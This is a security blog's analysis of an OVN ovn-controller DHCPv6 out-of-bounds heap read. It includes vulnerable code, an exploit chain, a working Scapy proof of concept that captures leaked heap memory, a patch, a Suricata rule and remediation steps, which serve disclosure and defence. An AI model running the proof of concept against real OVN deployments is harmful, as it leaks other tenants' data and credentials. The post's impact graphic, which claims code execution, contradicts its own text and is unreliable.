home intel cve-2026-5367-ovn-dhcpv6-oob-read-heap-disclosure
CVE Analysis 2026-04-24 · 8 min read

CVE-2026-5367: OVN DHCPv6 Client ID OOB Read Leaks Heap Memory

OVN's DHCPv6 SOLICIT handler trusts an attacker-supplied Client ID length field, triggering an out-of-bounds heap read that returns sensitive memory to the attacker's VM port.

#dhcpv6#out-of-bounds-read#heap-disclosure#ovn-controller#memory-corruption
Technical mode — for security professionals
▶ Attack flow — CVE-2026-5367 · Memory Corruption
ATTACKERRemote / unauthMEMORY CORRUPTIOCVE-2026-5367Network · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-5367 is an out-of-bounds read in OVN (Open Virtual Network)'s DHCPv6 processing path inside ovn-controller. A tenant VM on an OVN-managed network can craft a DHCPv6 SOLICIT packet with a Client ID (DUID) option whose advertised length field exceeds the actual payload bytes present in the packet. The controller's option parser trusts the attacker-supplied length, reads past the end of the received packet buffer, and subsequently echoes the over-read data — including whatever heap memory trails the buffer — back to the VM as part of the DHCPv6 ADVERTISE response. No authentication is required; any VM with a port attached to an OVN logical switch running DHCPv6 can trigger this.

CVSS 8.6 (HIGH) — Network vector, no privileges, no user interaction, high confidentiality impact.

Affected Component

The vulnerable code lives in OVN's in-process DHCPv6 responder, which runs entirely inside ovn-controller on the hypervisor host. OVN implements DHCPv6 in software to avoid needing an external DHCP server; the controller intercepts DHCPv6 packets at the logical port and synthesizes responses directly. The relevant source file is controller/pinctrl.c, specifically the function responsible for parsing incoming DHCPv6 option TLVs and building the reply.

  • Process: ovn-controller (runs as root on hypervisor)
  • Source file: controller/pinctrl.c
  • Protocol: DHCPv6 (UDP/547 → UDP/546), Message Type 1 (SOLICIT)
  • Option at fault: Option 1 — Client Identifier (DUID), RFC 8415 §21.2

Root Cause Analysis

DHCPv6 options use a standard TLV encoding: 2-byte option code, 2-byte length, followed by length bytes of data. When ovn-controller parses a SOLICIT packet to extract the Client ID, it reads the 16-bit length field from the wire and then copies that many bytes out of the packet buffer — without verifying that offset + option_len stays within the actual received packet length.


/* controller/pinctrl.c — DHCPv6 SOLICIT option parser (vulnerable) */

struct dhcpv6_opt {
    ovs_be16 code;
    ovs_be16 len;
    uint8_t  data[];
};

static bool
pinctrl_handle_dhcpv6_solicit(struct dp_packet *pkt,
                               struct in6_addr *src_ip,
                               struct eth_addr src_mac)
{
    const uint8_t *dhcpv6_data = dp_packet_l4(pkt);
    size_t         pkt_len     = dp_packet_l4_size(pkt);

    /* Skip 4-byte DHCPv6 message header (msg-type + transaction-id) */
    size_t offset = 4;

    uint8_t  *client_id     = NULL;
    uint16_t  client_id_len = 0;

    while (offset < pkt_len) {
        const struct dhcpv6_opt *opt =
            (const struct dhcpv6_opt *)(dhcpv6_data + offset);

        uint16_t opt_code = ntohs(opt->code);
        uint16_t opt_len  = ntohs(opt->len);   /* attacker-controlled */

        if (opt_code == DHCPV6_OPT_CLIENT_ID) {
            client_id     = (uint8_t *)opt->data;
            client_id_len = opt_len;            /* trusted without validation */
            // BUG: opt_len may extend beyond pkt_len; no bounds check here
        }

        offset += sizeof(struct dhcpv6_opt) + opt_len;
        // BUG: if opt_len is inflated, offset jumps past pkt_len and loop exits,
        //      but client_id_len already contains the attacker value
    }

    /* client_id and client_id_len are now used to build the ADVERTISE reply.
     * The reply copies client_id_len bytes starting at client_id — which may
     * point into and then past the end of the dp_packet buffer, reading
     * heap memory that follows the allocation. */
    return pinctrl_compose_dhcpv6_reply(src_ip, src_mac,
                                        client_id, client_id_len);
}

The crux: opt_len = ntohs(opt->len) is an attacker-controlled 16-bit value (max 0xFFFF = 65535 bytes). The received packet buffer is typically only a few hundred bytes. The subsequent memcpy inside pinctrl_compose_dhcpv6_reply uses this inflated length, walking off the end of the heap allocation and copying whatever bytes reside there into the outgoing ADVERTISE packet.

Root cause: The DHCPv6 option parser in pinctrl_handle_dhcpv6_solicit copies ntohs(opt->len) bytes from the Client ID option without verifying that offset + sizeof(dhcpv6_opt) + opt_len ≤ pkt_len, allowing an attacker to read up to 65535 bytes of heap memory beyond the packet buffer.

Memory Layout


dp_packet heap allocation (typical SOLICIT, ~128 bytes on wire):

  HEAP BEFORE READ:
  ┌─────────────────────────────────────────────────────────┐
  │ dp_packet struct (metadata)           @ heap+0x0000     │
  │   .base   = heap+0x0040                                  │
  │   .data   = heap+0x0040 (Ethernet frame start)          │
  │   .size   = 0x0080 (128 bytes)                          │
  ├─────────────────────────────────────────────────────────┤
  │ Ethernet + IPv6 + UDP headers         @ heap+0x0040     │  54 bytes
  │ DHCPv6 message header                 @ heap+0x0076     │   4 bytes
  │ Option 1: code=0x0001 len=0x000e     @ heap+0x007a     │   4 bytes hdr
  │   DUID data (14 bytes legit)          @ heap+0x007e     │  14 bytes
  │   ← END OF PACKET BUFFER →           @ heap+0x008c     │
  ├─────────────────────────────────────────────────────────┤
  │ NEXT HEAP CHUNK (tcmalloc/glibc)      @ heap+0x008c     │
  │   may contain: OVS flow keys, SSL session data,         │
  │   OVSDB connection strings, prior dp_packet contents,   │
  │   or other ovn-controller heap objects                  │
  └─────────────────────────────────────────────────────────┘

  ATTACKER SENDS: Option 1 with len=0xFFFF (65535)

  HEAP DURING OOB READ (pinctrl_compose_dhcpv6_reply):
  ┌─────────────────────────────────────────────────────────┐
  │ client_id     = heap+0x007e  (start of DUID data)       │
  │ client_id_len = 0xFFFF       (attacker value)            │
  │                                                          │
  │ memcpy(reply_buf, client_id, client_id_len)              │
  │         └── reads: heap+0x007e → heap+0x1007d           │
  │                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^           │
  │                    ~65KB of heap contents leaked         │
  │                    returned in DHCPv6 ADVERTISE option   │
  └─────────────────────────────────────────────────────────┘

  WHAT CAN BE LEAKED (ovn-controller heap):
  - OpenFlow connection state (struct rconn)
  - OVSDB transaction buffers (JSON blobs w/ credentials)
  - SSL/TLS session keys if TLS is configured
  - Logical flow table entries (IP/MAC of other tenants)
  - Heap allocator metadata (useful for further exploitation)

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker controls a VM attached to an OVN logical switch with DHCPv6 enabled.

2. Craft a DHCPv6 SOLICIT packet (Message Type = 1, Transaction ID = any):
     Option code : 0x0001  (CLIENT_ID)
     Option len  : 0xFFFF  (65535 — attacker controlled)
     Option data : 14 bytes of valid DUID-LL payload
   Total wire size: ~72 bytes. Packet is valid at L2/L3/L4 layers.

3. Send from VM's port. OVN logical switch classifies it as DHCPv6
   and punts via OpenFlow to ovn-controller's pinctrl handler.

4. pinctrl_handle_dhcpv6_solicit() parses Option 1:
     opt_len  = 0xFFFF (from wire)
     client_id = pointer to 14 bytes of legitimate DUID data in heap buf

5. Loop exits (offset wraps past pkt_len), but client_id_len = 0xFFFF retained.

6. pinctrl_compose_dhcpv6_reply() builds ADVERTISE:
     Copies 0xFFFF bytes starting at client_id into the reply's Client ID option.
     This reads ~65KB of heap memory beyond the packet buffer.

7. ovn-controller sends DHCPv6 ADVERTISE back to VM's port (UDP src=547, dst=546).

8. Attacker reads the 65535-byte Client ID option from the ADVERTISE packet.
   Heap contents (OVSDB creds, flow tables, SSL material) are now in attacker's hands.

9. Repeat to collect different heap snapshots (allocator state varies per request).

NOTE: No crash occurs. ovn-controller continues operating normally.
      The OOB read is purely informational — no write primitive is established here.

A minimal Python proof-of-concept using Scapy to craft the malformed SOLICIT:


from scapy.all import *
from scapy.layers.dhcp6 import *

# Craft DHCPv6 SOLICIT with inflated Client ID length
# We manually construct the option to bypass Scapy's length enforcement

DUID_LL = b'\x00\x03\x00\x01' + b'\xde\xad\xbe\xef\xca\xfe'  # DUID-LL, 10 bytes

# Build raw DHCPv6 option: code=1, len=0xFFFF, data=DUID_LL (10 bytes actual)
# The parser will read 0xFFFF bytes but only 10 are present in packet
malicious_opt = struct.pack('!HH', 1, 0xFFFF) + DUID_LL

dhcpv6_msg = (
    b'\x01'          # Message type: SOLICIT
    + b'\xaa\xbb\xcc'  # Transaction ID
    + malicious_opt
)

pkt = (
    Ether(src="de:ad:be:ef:ca:fe", dst="33:33:00:01:00:02") /
    IPv6(src="fe80::1", dst="ff02::1:2") /
    UDP(sport=546, dport=547) /
    Raw(load=dhcpv6_msg)
)

sendp(pkt, iface="eth0", verbose=False)
print("[*] Malformed SOLICIT sent — await ADVERTISE with heap contents")

# Receive and extract leaked bytes from ADVERTISE Client ID option
sniff(iface="eth0", filter="udp and port 546",
      prn=lambda p: open("leak.bin","ab").write(bytes(p[Raw])),
      count=1, timeout=5)
print(f"[*] Captured {open('leak.bin','rb').read().__len__()} bytes of heap")

Patch Analysis

The correct fix is a bounds check immediately after reading opt->len from the wire, before storing it in client_id_len or advancing the offset. The option's declared extent must be verified to fit within the remaining packet bytes.


// BEFORE (vulnerable) — controller/pinctrl.c:
while (offset < pkt_len) {
    const struct dhcpv6_opt *opt =
        (const struct dhcpv6_opt *)(dhcpv6_data + offset);

    uint16_t opt_code = ntohs(opt->code);
    uint16_t opt_len  = ntohs(opt->len);   /* attacker-controlled, unvalidated */

    if (opt_code == DHCPV6_OPT_CLIENT_ID) {
        client_id     = (uint8_t *)opt->data;
        client_id_len = opt_len;            /* stored without bounds check */
    }

    offset += sizeof(struct dhcpv6_opt) + opt_len;
}


// AFTER (patched):
while (offset < pkt_len) {
    /* Ensure there are enough bytes remaining for the option header itself */
    if (pkt_len - offset < sizeof(struct dhcpv6_opt)) {
        break;  /* truncated header — discard */
    }

    const struct dhcpv6_opt *opt =
        (const struct dhcpv6_opt *)(dhcpv6_data + offset);

    uint16_t opt_code = ntohs(opt->code);
    uint16_t opt_len  = ntohs(opt->len);

    /* BUG FIX: verify the option data fits within the packet */
    size_t opt_total = sizeof(struct dhcpv6_opt) + opt_len;
    if (offset + opt_total > pkt_len) {
        break;  /* option extends beyond packet boundary — discard */
    }

    if (opt_code == DHCPV6_OPT_CLIENT_ID) {
        client_id     = (uint8_t *)opt->data;
        client_id_len = opt_len;   /* now guaranteed: client_id+opt_len ≤ pkt end */
    }

    offset += opt_total;
}

The patch introduces two guards: a minimum-header check before dereferencing opt->len, and a boundary check verifying offset + sizeof(header) + opt_len ≤ pkt_len. Either malformed condition causes the parser to break out of the loop and drop the packet rather than synthesizing a reply. A well-formed SOLICIT with a legitimate Client ID of up to pkt_len - offset - 4 bytes continues to work correctly.

Detection and Indicators

Because ovn-controller returns a valid DHCPv6 ADVERTISE rather than crashing, there is no crash log or coredump generated. Detection must be proactive:

  • Wire-level detection: Alert on DHCPv6 SOLICIT packets where the Client ID option's declared length (ntohs(option[2:4])) exceeds packet_length - option_offset - 4. Any such packet is malformed per RFC 8415 §21.2.
  • IDS signature: DHCPv6 (UDP/547) with Option 1 length field > 0x00F0 is anomalous; legitimate DUIDs are bounded at 20 bytes for DUID-LL and 24 bytes for DUID-LLT.
  • ADVERTISE anomaly: Inspect outbound DHCPv6 ADVERTISE packets (UDP/546); a Client ID option exceeding ~30 bytes in the reply indicates OOB data is being returned.
  • Suricata rule:

alert udp any 546:547 -> any 546:547 (
    msg:"CVE-2026-5367 OVN DHCPv6 Client ID length anomaly";
    content:"|00 01|";  /* Option code 1 = CLIENT_ID */
    byte_test:2,>,200,2,relative,big-endian;  /* opt_len > 200 bytes */
    sid:2026005367; rev:1;
)

Remediation

  • Patch immediately — apply the OVN fix referencing Red Hat Bugzilla #2455863 once a patched package is available for your distribution. Monitor BZ#2455863 for package availability.
  • Restrict DHCPv6 punt path — if DHCPv6 is not required on a logical switch, disable it in the OVN Northbound DB: ovn-nbctl set logical_switch <ls> other_config:dhcpv6_options="". This prevents pinctrl from synthesizing responses entirely.
  • Tenant isolation — enforce strict security group rules at the OVN logical port level so untrusted VMs cannot send arbitrary UDP/547 traffic that reaches the controller's punt table.
  • Heap hardening — running ovn-controller with MALLOC_PERTURB_ set and address sanitization in staging environments will cause the OOB region to contain predictable bytes rather than sensitive data, confirming exploitation attempts during testing.
  • Monitor — deploy the Suricata rule above on hypervisor uplinks or OVN integration bridges to detect exploitation attempts in production prior to patching.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →